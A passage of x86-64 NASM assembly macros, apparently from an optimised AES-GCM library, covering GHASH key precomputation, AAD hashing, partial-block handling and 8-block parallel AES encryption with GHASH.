vpxor %%T2, %%T2, %%T3 ; xor the shifted versions
vpxor %%T2, %%T2, %%T4
vpxor %%T2, %%T2, %%T5
vpxor %%GH, %%GH, %%T2
vpxor %%GH, %%GH, %%T1 ; the result is in %%GH
%endmacro
%macro PRECOMPUTE 8
%define %%GDATA %1
%define %%HK %2
%define %%T1 %3
%define %%T2 %4
%define %%T3 %5
%define %%T4 %6
%define %%T5 %7
%define %%T6 %8
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Haskey_i_k holds XORed values of the low and high parts of the Haskey_i
vmovdqa %%T5, %%HK
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^2<<1 mod poly
vmovdqu [%%GDATA + HashKey_2], %%T5 ; [HashKey_2] = HashKey^2<<1 mod poly
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_2_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^3<<1 mod poly
vmovdqu [%%GDATA + HashKey_3], %%T5
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_3_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^4<<1 mod poly
vmovdqu [%%GDATA + HashKey_4], %%T5
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_4_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^5<<1 mod poly
vmovdqu [%%GDATA + HashKey_5], %%T5
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_5_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^6<<1 mod poly
vmovdqu [%%GDATA + HashKey_6], %%T5
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_6_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^7<<1 mod poly
vmovdqu [%%GDATA + HashKey_7], %%T5
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_7_k], %%T1
GHASH_MUL %%T5, %%HK, %%T1, %%T3, %%T4, %%T6, %%T2 ; %%T5 = HashKey^8<<1 mod poly
vmovdqu [%%GDATA + HashKey_8], %%T5
vpshufd %%T1, %%T5, 01001110b
vpxor %%T1, %%T5
vmovdqu [%%GDATA + HashKey_8_k], %%T1
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; READ_SMALL_DATA_INPUT: Packs xmm register with data when data input is less than 16 bytes.
; Returns 0 if data has length 0.
; Input: The input data (INPUT), that data's length (LENGTH).
; Output: The packed xmm register (OUTPUT).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro READ_SMALL_DATA_INPUT 6
%define %%OUTPUT %1 ; %%OUTPUT is an xmm register
%define %%INPUT %2
%define %%LENGTH %3
%define %%END_READ_LOCATION %4 ; All this and the lower inputs are temp registers
%define %%COUNTER %5
%define %%TMP1 %6
vpxor %%OUTPUT, %%OUTPUT
mov %%COUNTER, %%LENGTH
mov %%END_READ_LOCATION, %%INPUT
add %%END_READ_LOCATION, %%LENGTH
xor %%TMP1, %%TMP1
cmp %%COUNTER, 8
jl %%_byte_loop_2
vpinsrq %%OUTPUT, [%%INPUT],0 ;Read in 8 bytes if they exists
je %%_done
sub %%COUNTER, 8
%%_byte_loop_1: ;Read in data 1 byte at a time while data is left
shl %%TMP1, 8 ;This loop handles when 8 bytes were already read in
dec %%END_READ_LOCATION
mov BYTE(%%TMP1), BYTE [%%END_READ_LOCATION]
dec %%COUNTER
jg %%_byte_loop_1
vpinsrq %%OUTPUT, %%TMP1, 1
jmp %%_done
%%_byte_loop_2: ;Read in data 1 byte at a time while data is left
cmp %%COUNTER, 0
je %%_done
shl %%TMP1, 8 ;This loop handles when no bytes were already read in
dec %%END_READ_LOCATION
mov BYTE(%%TMP1), BYTE [%%END_READ_LOCATION]
dec %%COUNTER
jg %%_byte_loop_2
vpinsrq %%OUTPUT, %%TMP1, 0
%%_done:
%endmacro ; READ_SMALL_DATA_INPUT
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; CALC_AAD_HASH: Calculates the hash of the data which will not be encrypted.
; Input: The input data (A_IN), that data's length (A_LEN), and the hash key (HASH_KEY).
; Output: The hash of the data (AAD_HASH).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro CALC_AAD_HASH 14
%define %%A_IN %1
%define %%A_LEN %2
%define %%AAD_HASH %3
%define %%HASH_KEY %4
%define %%XTMP1 %5 ; xmm temp reg 5
%define %%XTMP2 %6
%define %%XTMP3 %7
%define %%XTMP4 %8
%define %%XTMP5 %9 ; xmm temp reg 5
%define %%T1 %10 ; temp reg 1
%define %%T2 %11
%define %%T3 %12
%define %%T4 %13
%define %%T5 %14 ; temp reg 5
mov %%T1, %%A_IN ; T1 = AAD
mov %%T2, %%A_LEN ; T2 = aadLen
vpxor %%AAD_HASH, %%AAD_HASH
cmp %%T2, 16
jl %%_get_small_AAD_block
%%_get_AAD_loop16:
vmovdqu %%XTMP1, [%%T1]
;byte-reflect the AAD data
vpshufb %%XTMP1, [SHUF_MASK]
vpxor %%AAD_HASH, %%XTMP1
GHASH_MUL %%AAD_HASH, %%HASH_KEY, %%XTMP1, %%XTMP2, %%XTMP3, %%XTMP4, %%XTMP5
sub %%T2, 16
je %%_CALC_AAD_done
add %%T1, 16
cmp %%T2, 16
jge %%_get_AAD_loop16
%%_get_small_AAD_block:
READ_SMALL_DATA_INPUT %%XTMP1, %%T1, %%T2, %%T3, %%T4, %%T5
;byte-reflect the AAD data
vpshufb %%XTMP1, [SHUF_MASK]
vpxor %%AAD_HASH, %%XTMP1
GHASH_MUL %%AAD_HASH, %%HASH_KEY, %%XTMP1, %%XTMP2, %%XTMP3, %%XTMP4, %%XTMP5
%%_CALC_AAD_done:
%endmacro ; CALC_AAD_HASH
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; PARTIAL_BLOCK: Handles encryption/decryption and the tag partial blocks between update calls.
; Requires the input data be at least 1 byte long.
; Input:
; GDATA_KEY - struct gcm_key_data *
; GDATA_CTX - struct gcm_context_data *
; PLAIN_CYPH_IN - input text
; PLAIN_CYPH_LEN - input text length
; DATA_OFFSET - the current data offset
; ENC_DEC - whether encoding or decoding
; Output: A cypher of the first partial block (CYPH_PLAIN_OUT), and updated GDATA_CTX
; Clobbers rax, r10, r12, r13, r15, xmm0, xmm1, xmm2, xmm3, xmm5, xmm6, xmm9, xmm10, xmm11, xmm13
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%macro PARTIAL_BLOCK 8
%define %%GDATA_KEY %1
%define %%GDATA_CTX %2
%define %%CYPH_PLAIN_OUT %3
%define %%PLAIN_CYPH_IN %4
%define %%PLAIN_CYPH_LEN %5
%define %%DATA_OFFSET %6
%define %%AAD_HASH %7
%define %%ENC_DEC %8
mov r13, [%%GDATA_CTX + PBlockLen]
cmp r13, 0
je %%_partial_block_done ;Leave Macro if no partial blocks
cmp %%PLAIN_CYPH_LEN, 16 ;Read in input data without over reading
jl %%_fewer_than_16_bytes
VXLDR xmm1, [%%PLAIN_CYPH_IN] ;If more than 16 bytes of data, just fill the xmm register
jmp %%_data_read
%%_fewer_than_16_bytes:
lea r10, [%%PLAIN_CYPH_IN + %%DATA_OFFSET]
READ_SMALL_DATA_INPUT xmm1, r10, %%PLAIN_CYPH_LEN, rax, r12, r15
%%_data_read: ;Finished reading in data
vmovdqu xmm9, [%%GDATA_CTX + PBlockEncKey] ;xmm9 = my_ctx_data.partial_block_enc_key
vmovdqu xmm13, [%%GDATA_KEY + HashKey]
lea r12, [SHIFT_MASK]
cmp r13, rax
add r12, r13 ; adjust the shuffle mask pointer to be able to shift r13 bytes (16-r13 is the number of bytes in plaintext mod 16)
vmovdqu xmm2, [r12] ; get the appropriate shuffle mask
vpshufb xmm9, xmm2 ;shift right r13 bytes
%ifidn %%ENC_DEC, DEC
vmovdqa xmm3, xmm1
vpxor xmm9, xmm1 ; Cyphertext XOR E(K, Yn)
mov r15, %%PLAIN_CYPH_LEN
add r15, r13
sub r15, 16 ;Set r15 to be the amount of data left in CYPH_PLAIN_IN after filling the block
jge %%_no_extra_mask_1 ;Determine if if partial block is not being filled and shift mask accordingly
sub r12, r15
%%_no_extra_mask_1:
vmovdqu xmm1, [r12 + ALL_F-SHIFT_MASK] ; get the appropriate mask to mask out bottom r13 bytes of xmm9
vpand xmm9, xmm1 ; mask out bottom r13 bytes of xmm9
vpand xmm3, xmm1
vpshufb xmm3, [SHUF_MASK]
vpshufb xmm3, xmm2
vpxor %%AAD_HASH, xmm3
cmp r15,0
jl %%_partial_incomplete_1
GHASH_MUL %%AAD_HASH, xmm13, xmm0, xmm10, xmm11, xmm5, xmm6 ;GHASH computation for the last <16 Byte block
xor rax,rax
mov [%%GDATA_CTX + PBlockLen], rax
jmp %%_dec_done
%%_partial_incomplete_1:
%ifidn __OUTPUT_FORMAT__, win64
mov rax, %%PLAIN_CYPH_LEN
add [%%GDATA_CTX + PBlockLen], rax
%else
add [%%GDATA_CTX + PBlockLen], %%PLAIN_CYPH_LEN
%endif
%%_dec_done:
vmovdqu [%%GDATA_CTX + AadHash], %%AAD_HASH
%else
vpxor xmm9, xmm1 ; Plaintext XOR E(K, Yn)
mov r15, %%PLAIN_CYPH_LEN
add r15, r13
sub r15, 16 ;Set r15 to be the amount of data left in CYPH_PLAIN_IN after filling the block
jge %%_no_extra_mask_2 ;Determine if if partial block is not being filled and shift mask accordingly
sub r12, r15
%%_no_extra_mask_2:
vmovdqu xmm1, [r12 + ALL_F-SHIFT_MASK] ; get the appropriate mask to mask out bottom r13 bytes of xmm9
vpand xmm9, xmm1 ; mask out bottom r13 bytes of xmm9
vpshufb xmm9, [SHUF_MASK]
vpshufb xmm9, xmm2
vpxor %%AAD_HASH, xmm9
cmp r15,0
jl %%_partial_incomplete_2
GHASH_MUL %%AAD_HASH, xmm13, xmm0, xmm10, xmm11, xmm5, xmm6 ;GHASH computation for the last <16 Byte block
xor rax,rax
mov [%%GDATA_CTX + PBlockLen], rax
jmp %%_encode_done
%%_partial_incomplete_2:
%ifidn __OUTPUT_FORMAT__, win64
mov rax, %%PLAIN_CYPH_LEN
add [%%GDATA_CTX + PBlockLen], rax
%else
add [%%GDATA_CTX + PBlockLen], %%PLAIN_CYPH_LEN
%endif
%%_encode_done:
vmovdqu [%%GDATA_CTX + AadHash], %%AAD_HASH
vpshufb xmm9, [SHUF_MASK] ; shuffle xmm9 back to output as ciphertext
vpshufb xmm9, xmm2
%endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; output encrypted Bytes
cmp r15,0
jl %%_partial_fill
mov r12, r13
mov r13, 16
sub r13, r12 ; Set r13 to be the number of bytes to write out
jmp %%_count_set
%%_partial_fill:
mov r13, %%PLAIN_CYPH_LEN
%%_count_set:
vmovq rax, xmm9
cmp r13, 8
jle %%_less_than_8_bytes_left
mov [%%CYPH_PLAIN_OUT+ %%DATA_OFFSET], rax
add %%DATA_OFFSET, 8
vpsrldq xmm9, xmm9, 8
vmovq rax, xmm9
sub r13, 8
%%_less_than_8_bytes_left:
mov BYTE [%%CYPH_PLAIN_OUT + %%DATA_OFFSET], al
add %%DATA_OFFSET, 1
shr rax, 8
sub r13, 1
jne %%_less_than_8_bytes_left
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%%_partial_block_done:
%endmacro ; PARTIAL_BLOCK
; if a = number of total plaintext bytes
; b = floor(a/16)
; %%num_initial_blocks = b mod 8;
; encrypt the initial %%num_initial_blocks blocks and apply ghash on the ciphertext
; %%GDATA_CTX, %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN, r14 are used as a pointer only, not modified.
; Updated AAD_HASH is returned in %%T3
%macro INITIAL_BLOCKS 24
%define %%GDATA_KEY %1
%define %%GDATA_CTX %2
%define %%CYPH_PLAIN_OUT %3
%define %%PLAIN_CYPH_IN %4
%define %%LENGTH %5
%define %%DATA_OFFSET %6
%define %%num_initial_blocks %7 ; can be 0, 1, 2, 3, 4, 5, 6 or 7
%define %%T1 %8
%define %%HASH_KEY %9
%define %%T3 %10
%define %%T4 %11
%define %%T5 %12
%define %%CTR %13
%define %%XMM1 %14
%define %%XMM2 %15
%define %%XMM3 %16
%define %%XMM4 %17
%define %%XMM5 %18
%define %%XMM6 %19
%define %%XMM7 %20
%define %%XMM8 %21
%define %%T6 %22
%define %%T_key %23
%define %%ENC_DEC %24
%assign i (8-%%num_initial_blocks)
vmovdqu reg(i), %%XMM8 ; move AAD_HASH to temp reg
; start AES for %%num_initial_blocks blocks
vmovdqu %%CTR, [%%GDATA_CTX + CurCount] ; %%CTR = Y0
%assign i (9-%%num_initial_blocks)
%rep %%num_initial_blocks
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa reg(i), %%CTR
vpshufb reg(i), [SHUF_MASK] ; perform a 16Byte swap
%assign i (i+1)
%endrep
vmovdqu %%T_key, [%%GDATA_KEY+16*0]
%assign i (9-%%num_initial_blocks)
%rep %%num_initial_blocks
vpxor reg(i),%%T_key
%assign i (i+1)
%endrep
%assign j 1
%rep NROUNDS
vmovdqu %%T_key, [%%GDATA_KEY+16*j]
%assign i (9-%%num_initial_blocks)
%rep %%num_initial_blocks
vaesenc reg(i),%%T_key
%assign i (i+1)
%endrep
%assign j (j+1)
%endrep ; NROUNDS
vmovdqu %%T_key, [%%GDATA_KEY+16*j]
%assign i (9-%%num_initial_blocks)
%rep %%num_initial_blocks
vaesenclast reg(i),%%T_key
%assign i (i+1)
%endrep
%assign i (9-%%num_initial_blocks)
%rep %%num_initial_blocks
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET]
vpxor reg(i), %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET], reg(i) ; write back ciphertext for %%num_initial_blocks blocks
add %%DATA_OFFSET, 16
%ifidn %%ENC_DEC, DEC
vmovdqa reg(i), %%T1
%endif
vpshufb reg(i), [SHUF_MASK] ; prepare ciphertext for GHASH computations
%assign i (i+1)
%endrep
%assign i (8-%%num_initial_blocks)
%assign j (9-%%num_initial_blocks)
%rep %%num_initial_blocks
vpxor reg(j), reg(i)
GHASH_MUL reg(j), %%HASH_KEY, %%T1, %%T3, %%T4, %%T5, %%T6 ; apply GHASH on %%num_initial_blocks blocks
%assign i (i+1)
%assign j (j+1)
%endrep
; %%XMM8 has the current Hash Value
vmovdqa %%T3, %%XMM8
cmp %%LENGTH, 128
jl %%_initial_blocks_done ; no need for precomputed constants
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Haskey_i_k holds XORed values of the low and high parts of the Haskey_i
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM1, %%CTR
vpshufb %%XMM1, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM2, %%CTR
vpshufb %%XMM2, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM3, %%CTR
vpshufb %%XMM3, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM4, %%CTR
vpshufb %%XMM4, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM5, %%CTR
vpshufb %%XMM5, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM6, %%CTR
vpshufb %%XMM6, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM7, %%CTR
vpshufb %%XMM7, [SHUF_MASK] ; perform a 16Byte swap
vpaddd %%CTR, [ONE] ; INCR Y0
vmovdqa %%XMM8, %%CTR
vpshufb %%XMM8, [SHUF_MASK] ; perform a 16Byte swap
vmovdqu %%T_key, [%%GDATA_KEY+16*0]
vpxor %%XMM1, %%T_key
vpxor %%XMM2, %%T_key
vpxor %%XMM3, %%T_key
vpxor %%XMM4, %%T_key
vpxor %%XMM5, %%T_key
vpxor %%XMM6, %%T_key
vpxor %%XMM7, %%T_key
vpxor %%XMM8, %%T_key
%assign i 1
%rep NROUNDS
vmovdqu %%T_key, [%%GDATA_KEY+16*i]
vaesenc %%XMM1, %%T_key
vaesenc %%XMM2, %%T_key
vaesenc %%XMM3, %%T_key
vaesenc %%XMM4, %%T_key
vaesenc %%XMM5, %%T_key
vaesenc %%XMM6, %%T_key
vaesenc %%XMM7, %%T_key
vaesenc %%XMM8, %%T_key
%assign i (i+1)
%endrep
vmovdqu %%T_key, [%%GDATA_KEY+16*i]
vaesenclast %%XMM1, %%T_key
vaesenclast %%XMM2, %%T_key
vaesenclast %%XMM3, %%T_key
vaesenclast %%XMM4, %%T_key
vaesenclast %%XMM5, %%T_key
vaesenclast %%XMM6, %%T_key
vaesenclast %%XMM7, %%T_key
vaesenclast %%XMM8, %%T_key
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*0]
vpxor %%XMM1, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*0], %%XMM1
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM1, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*1]
vpxor %%XMM2, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*1], %%XMM2
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM2, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*2]
vpxor %%XMM3, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*2], %%XMM3
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM3, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*3]
vpxor %%XMM4, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*3], %%XMM4
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM4, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*4]
vpxor %%XMM5, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*4], %%XMM5
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM5, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*5]
vpxor %%XMM6, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*5], %%XMM6
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM6, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*6]
vpxor %%XMM7, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*6], %%XMM7
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM7, %%T1
%endif
VXLDR %%T1, [%%PLAIN_CYPH_IN + %%DATA_OFFSET + 16*7]
vpxor %%XMM8, %%T1
VXSTR [%%CYPH_PLAIN_OUT + %%DATA_OFFSET + 16*7], %%XMM8
%ifidn %%ENC_DEC, DEC
vmovdqa %%XMM8, %%T1
%endif
add %%DATA_OFFSET, 128
vpshufb %%XMM1, [SHUF_MASK] ; perform a 16Byte swap
vpxor %%XMM1, %%T3 ; combine GHASHed value with the corresponding ciphertext
vpshufb %%XMM2, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM3, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM4, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM5, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM6, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM7, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM8, [SHUF_MASK] ; perform a 16Byte swap
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%%_initial_blocks_done:
%endmacro
; encrypt 8 blocks at a time
; ghash the 8 previously encrypted ciphertext blocks
; %%GDATA - (GCM key data), %%CYPH_PLAIN_OUT, %%PLAIN_CYPH_IN are used as pointers only, not modified
; r11 is the data offset value
%macro GHASH_8_ENCRYPT_8_PARALLEL 22
%define %%GDATA %1
%define %%CYPH_PLAIN_OUT %2
%define %%PLAIN_CYPH_IN %3
%define %%DATA_OFFSET %4
%define %%T1 %5
%define %%T2 %6
%define %%T3 %7
%define %%T4 %8
%define %%T5 %9
%define %%T6 %10
%define %%CTR %11
%define %%XMM1 %12
%define %%XMM2 %13
%define %%XMM3 %14
%define %%XMM4 %15
%define %%XMM5 %16
%define %%XMM6 %17
%define %%XMM7 %18
%define %%XMM8 %19
%define %%T7 %20
%define %%loop_idx %21
%define %%ENC_DEC %22
vmovdqa %%T2, %%XMM1
vmovdqu [rsp + TMP2], %%XMM2
vmovdqu [rsp + TMP3], %%XMM3
vmovdqu [rsp + TMP4], %%XMM4
vmovdqu [rsp + TMP5], %%XMM5
vmovdqu [rsp + TMP6], %%XMM6
vmovdqu [rsp + TMP7], %%XMM7
vmovdqu [rsp + TMP8], %%XMM8
%ifidn %%loop_idx, in_order
vpaddd %%XMM1, %%CTR, [ONE] ; INCR CNT
vpaddd %%XMM2, %%XMM1, [ONE]
vpaddd %%XMM3, %%XMM2, [ONE]
vpaddd %%XMM4, %%XMM3, [ONE]
vpaddd %%XMM5, %%XMM4, [ONE]
vpaddd %%XMM6, %%XMM5, [ONE]
vpaddd %%XMM7, %%XMM6, [ONE]
vpaddd %%XMM8, %%XMM7, [ONE]
vmovdqa %%CTR, %%XMM8
vpshufb %%XMM1, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM2, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM3, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM4, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM5, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM6, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM7, [SHUF_MASK] ; perform a 16Byte swap
vpshufb %%XMM8, [SHUF_MASK] ; perform a 16Byte swap
%else
vpaddd %%XMM1, %%CTR, [ONEf] ; INCR CNT
vpaddd %%XMM2, %%XMM1, [ONEf]
vpaddd %%XMM3, %%XMM2, [ONEf]
vpaddd %%XMM4, %%XMM3, [ONEf]
vpaddd %%XMM5, %%XMM4, [ONEf]
vpaddd %%XMM6, %%XMM5, [ONEf]
vpaddd %%XMM7, %%XMM6, [ONEf]
vpaddd %%XMM8, %%XMM7, [ONEf]
vmovdqa %%CTR, %%XMM8
%endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu %%T1, [%%GDATA + 16*0]
vpxor %%XMM1, %%T1
vpxor %%XMM2, %%T1
vpxor %%XMM3, %%T1
vpxor %%XMM4, %%T1
vpxor %%XMM5, %%T1
vpxor %%XMM6, %%T1
vpxor %%XMM7, %%T1
vpxor %%XMM8, %%T1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu %%T1, [%%GDATA + 16*1]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
vmovdqu %%T1, [%%GDATA + 16*2]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu %%T5, [%%GDATA + HashKey_8]
vpclmulqdq %%T4, %%T2, %%T5, 0x11 ; %%T4 = a1*b1
vpclmulqdq %%T7, %%T2, %%T5, 0x00 ; %%T7 = a0*b0
vpshufd %%T6, %%T2, 01001110b
vpxor %%T6, %%T2
vmovdqu %%T5, [%%GDATA + HashKey_8_k]
vpclmulqdq %%T6, %%T6, %%T5, 0x00 ;
vmovdqu %%T1, [%%GDATA + 16*3]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
vmovdqu %%T1, [rsp + TMP2]
vmovdqu %%T5, [%%GDATA + HashKey_7]
vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_7_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
vmovdqu %%T1, [%%GDATA + 16*4]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
vmovdqu %%T1, [rsp + TMP3]
vmovdqu %%T5, [%%GDATA + HashKey_6]
vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_6_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
vmovdqu %%T1, [%%GDATA + 16*5]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
vmovdqu %%T1, [rsp + TMP4]
vmovdqu %%T5, [%%GDATA + HashKey_5]
vpclmulqdq %%T3, %%T1, %%T5, 0x11
vpxor %%T4, %%T4, %%T3
vpclmulqdq %%T3, %%T1, %%T5, 0x00
vpxor %%T7, %%T7, %%T3
vpshufd %%T3, %%T1, 01001110b
vpxor %%T3, %%T1
vmovdqu %%T5, [%%GDATA + HashKey_5_k]
vpclmulqdq %%T3, %%T3, %%T5, 0x10
vpxor %%T6, %%T6, %%T3
vmovdqu %%T1, [%%GDATA + 16*6]
vaesenc %%XMM1, %%T1
vaesenc %%XMM2, %%T1
vaesenc %%XMM3, %%T1
vaesenc %%XMM4, %%T1
vaesenc %%XMM5, %%T1
vaesenc %%XMM6, %%T1
vaesenc %%XMM7, %%T1
vaesenc %%XMM8, %%T1
vmovdqu %%T1, [rsp + TMP5]
vmovdqu %%T5, [%%GDATA + HashKey_4]
